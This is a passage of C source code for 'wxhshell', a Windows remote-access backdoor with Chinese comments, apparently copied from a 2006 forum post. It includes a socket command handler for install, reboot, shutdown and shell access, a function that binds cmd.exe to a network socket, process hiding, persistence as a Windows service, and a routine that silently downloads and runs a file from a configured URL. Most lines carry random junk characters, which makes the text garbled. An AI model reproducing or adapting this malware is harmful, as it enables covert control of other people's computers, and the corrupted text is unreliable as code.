  4,c6VCw3+  
  // 帮助 Z%B6J>;uM  
  case '?': { X(*O$B{ R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bNVeL$'  
    break; w,FPL&{  
  } &4S2fWx  
  // 安装 L}Y.xi  
  case 'i': { jJNCNH*0  
    if(Install()) y"q>}5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _7<{+Zzm  
    else jxkjPf?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s{yw1:  
    break; %}VH5s9\  
    } p ZTrh&I]  
  // 卸载 >a<1J(c  
  case 'r': { .E}lAd.Mn  
    if(Uninstall()) I"vkfi#=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]D,kKasG  
    else R8Vf6]s_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q'jw=w!|g  
    break; ikV;]ox  
    } mL48L57Z  
  // 显示 wxhshell 所在路径  Q}L?o  
  case 'p': { yW= +6@A4  
    char svExeFile[MAX_PATH]; C$1W+(  
    strcpy(svExeFile,"\n\r"); ]>VG}e~b  
      strcat(svExeFile,ExeFile); 5P-t{<]tx  
        send(wsh,svExeFile,strlen(svExeFile),0); ([dd)QU  
    break; X$ ZVY2  
    } ZDW=>}~_y  
  // 重启 p|ink):  
  case 'b': { Pa{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f(Of+>   
    if(Boot(REBOOT)) ' 1gfXC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N8dxgh!,  
    else { x~!|F5JbM  
    closesocket(wsh); % ERcFI]G  
    ExitThread(0); ;: 2U}p^-  
    } kY~4AH  
    break; j/*1zu8Y  
    } *b. >  
  // 关机 nJ2x;';lA  
  case 'd': { PU/<7P*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 96(Mu% l  
    if(Boot(SHUTDOWN)) 6^ [ 4.D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |2u=3#Jp  
    else { _b~{/[s  
    closesocket(wsh); aLGq<6Ja  
    ExitThread(0); Lr$M k#'B  
    } {4G/HW28  
    break; K%? g6j  
    } j fY7ich  
  // 获取shell Ey|_e3Lf[  
  case 's': {  Qw}1q!89  
    CmdShell(wsh); Tn#Co$<  
    closesocket(wsh); p2i?)+z  
    ExitThread(0); +SH{`7r  
    break; d}h{#va*  
  } w>&*-}XX  
  // 退出 w31Ox1>s  
  case 'x': { QkdcW>:a7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y(p_Unm  
    CloseIt(wsh); r[a7">n  
    break; "^n,(l*4x  
    } J{1H$[W~}  
  // 离开 7~mhWPzMwB  
  case 'q': { F^ 75y?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0 Uropam  
    closesocket(wsh); o3fc-  
    WSACleanup(); "s(~k  
    exit(1); :pqUUZ6x&  
    break; ,KW Q 6  
        } 9qB0F_xl  
  } q*l4h u%3  
  } AAevN3a#nI  
vt|R)[,  
  // 提示信息 h^yqrDyJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ukW&\  
} FQDf?d5  
  } [X.bR$>  
vA1Yya B  
  return; $Iwvecn?I  
} _F;v3|`D@<  
?FQ#I~'<  
// shell模块句柄 XVYFyza;  
int CmdShell(SOCKET sock) @Nek;xJ  
{ W&?Qs=@  
STARTUPINFO si;  <OMwi9  
ZeroMemory(&si,sizeof(si)); "<!U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aixX/se  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *9aJZWf>V  
PROCESS_INFORMATION ProcessInfo; $v|W2k  
char cmdline[]="cmd"; o8bdL<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^}_Ka//k  
  return 0; WTJ 0Q0U  
} 1`&`y%c?B  
hxO}'`:  
// 自身启动模式 mLX/xM/T?/  
int StartFromService(void)  x]+PWk  
{ "jFf}"  
typedef struct s<9g3Gh  
{ 6l]X{A.  
  DWORD ExitStatus; A9$x8x*Lt  
  DWORD PebBaseAddress; o$rjGa l  
  DWORD AffinityMask; |1U_5w  
  DWORD BasePriority; ysW})#7X  
  ULONG UniqueProcessId; >NRppPqL  
  ULONG InheritedFromUniqueProcessId; ky2 bj}"p9  
}   PROCESS_BASIC_INFORMATION; FlBhCZ|^  
^`&'u_B!+  
PROCNTQSIP NtQueryInformationProcess; r7m~.M+W"  
CJ IuMsZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zw/AZLS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;)(g$r^_i  
D@O `"2  
  HANDLE             hProcess; 4ba*Nc*Yc  
  PROCESS_BASIC_INFORMATION pbi; Z[oF4 z   
-K64J5|b7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m9 h '!X<  
  if(NULL == hInst ) return 0; oJ74Mra  
35<A :jKS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r )F;8(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h.jJAVPi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UerbNz|  
`^bP9X_a  
  if (!NtQueryInformationProcess) return 0; qs5>`skX  
s,HbW%s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XcVN{6-z  
  if(!hProcess) return 0; qO#3{kW  
u,sR2&Fe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cgg6E O(  
vrnvv?HPrR  
  CloseHandle(hProcess); _%w680b'  
j9p6 rD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i9;  
if(hProcess==NULL) return 0; x[(6V'  
?b (iWq  
HMODULE hMod; PsC")JS  
char procName[255]; T8XrmR&?PX  
unsigned long cbNeeded; C= ~c`V5>r  
=&}@GsXdo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^4dE8Ve"@  
s^h@b!'7  
  CloseHandle(hProcess); ar 3L|MN  
"rv~I_zl  
if(strstr(procName,"services")) return 1; // 以服务启动 aZOn01v;!&  
Pq;OShU_  
  return 0; // 注册表启动 SH%NYjj  
} Y{YbKKM  
A3jxjQ  
// 主模块 Pe`(9&iT.  
int StartWxhshell(LPSTR lpCmdLine) C8U3+ s  
{ T+kV~ w{  
  SOCKET wsl; fkA+:j~z_  
BOOL val=TRUE; AI|vL4*Xd  
  int port=0; "4N&T#  
  struct sockaddr_in door; 1[%3kY-h  
?:(y  
  if(wscfg.ws_autoins) Install(); =8AT[.Hh  
&@0~]\,D7  
port=atoi(lpCmdLine); %5o2I_Cjz  
)l3Uf&v^f  
if(port<=0) port=wscfg.ws_port; <!OBpAq  
a3@E`Z  
  WSADATA data; $R9D L^iD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gjS|3ED  
PTQ#8(_,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ds9)e&yYrb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `2lS@  
  door.sin_family = AF_INET; n6/Ous  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1- 2hh)  
  door.sin_port = htons(port); _D '(R  
M5dYcCDE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NkZG   
closesocket(wsl); bZqTT~'T  
return 1; J=g)rd[`  
} spEdq}  
3:J>-MO  
  if(listen(wsl,2) == INVALID_SOCKET) { FK%b@/7s~  
closesocket(wsl); %w;qu1j  
return 1; &V].,12x  
} yW_yHSx;  
  Wxhshell(wsl); +7_qg i7:  
  WSACleanup(); vsY?q8+P  
WtT;y|W  
return 0; 8=8 hbdy;  
&7L7|{18  
} @X==[gQ  
q+ax]=w  
// 以NT服务方式启动 :U6` n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e4z`:%vy  
{ Q6h+.  
DWORD   status = 0; <kh.fu@.Q  
  DWORD   specificError = 0xfffffff; -F5B Jk  
honh 'j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $0])%   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6u[fCGi%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rh>B# \  
  serviceStatus.dwWin32ExitCode     = 0; $7x2TiAL  
  serviceStatus.dwServiceSpecificExitCode = 0; s8h*nZ)v  
  serviceStatus.dwCheckPoint       = 0; <b 5DX  
  serviceStatus.dwWaitHint       = 0; Aoe\\'O|V  
8Fn\ycX#"l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  :eN&wQ5q  
  if (hServiceStatusHandle==0) return; tsXKhS;/w  
+ G@N  
status = GetLastError(); zl0{lV  
  if (status!=NO_ERROR) Vk2$b{VdF  
{ wKJG 31I^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c%H' jB [  
    serviceStatus.dwCheckPoint       = 0; K~W(ZmB  
    serviceStatus.dwWaitHint       = 0; EVmBLH-a  
    serviceStatus.dwWin32ExitCode     = status; |RX#5Q>z  
    serviceStatus.dwServiceSpecificExitCode = specificError; eqx }]#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  RD$:.   
    return; %OQdUH4x  
  } X9x`i  
W06aj ~7Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D,#UJPyg  
  serviceStatus.dwCheckPoint       = 0; H$![]Ujq  
  serviceStatus.dwWaitHint       = 0; ,i>`Urd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bf{u:TCK  
} 7;>|9k  
q lc@$  
// 处理NT服务事件,比如:启动、停止 HDe\Oty_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CPz<iU  
{ ?ZF):}r vZ  
switch(fdwControl) Ailq,  c  
{ Qqm?%7A1  
case SERVICE_CONTROL_STOP: C}huU  
  serviceStatus.dwWin32ExitCode = 0; -/f$s1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *+M#D^qo  
  serviceStatus.dwCheckPoint   = 0; {j2V k)\[i  
  serviceStatus.dwWaitHint     = 0; mLCD N1UO{  
  { 0ho;L0Nr'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U^m#!hp  
  } [WwoGg*)mn  
  return; 'l*X?ccKy  
case SERVICE_CONTROL_PAUSE: _w^,j"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %>KbaM1b  
  break; pMfb(D"  
case SERVICE_CONTROL_CONTINUE: wQxI({k@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1@]&iZ]  
  break; ?f?5Kye  
case SERVICE_CONTROL_INTERROGATE: C'6I< YX  
  break; '$ei3  
}; YxF@1_g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sd%j&Su#4  
} (7 I|lf e  
nrac )W  
// 标准应用程序主函数 t G_4>-Y#w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ASqYA1p.  
{ U1\7Hcs$  
`v*HH}aDO  
// 获取操作系统版本 Wjb_H (D  
OsIsNt=GetOsVer(); R)NSJ-A!2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !%>RHh[  
{_9O4 + &  
  // 从命令行安装 DbGS]k<$  
  if(strpbrk(lpCmdLine,"iI")) Install(); "\|P6H  
n !)$e;l  
  // 下载执行文件 3H2~?CaJ  
if(wscfg.ws_downexe) { S<Dbv?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z8\YMr 6o  
  WinExec(wscfg.ws_filenam,SW_HIDE); q/O2E<=w*c  
} M2Q,&>M   
:_e[xB=Yy  
if(!OsIsNt) { ;aQ`` B  
// 如果时win9x,隐藏进程并且设置为注册表启动 _ *f>UW*,  
HideProc(); omE- c  
StartWxhshell(lpCmdLine); KC;cu%H  
} I&-r^6Yx  
else dq 93P%X24  
  if(StartFromService()) ]?^V xB7L  
  // 以服务方式启动 adLL7  
  StartServiceCtrlDispatcher(DispatchTable); z33UER"  
else nCQtn%j't  
  // 普通方式启动 =%<=Bn  
  StartWxhshell(lpCmdLine); hGtz[u#p  
PR8nJts W5  
return 0; Xf u0d1b  
}
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只看该作者 1 发表于: 2006-10-10
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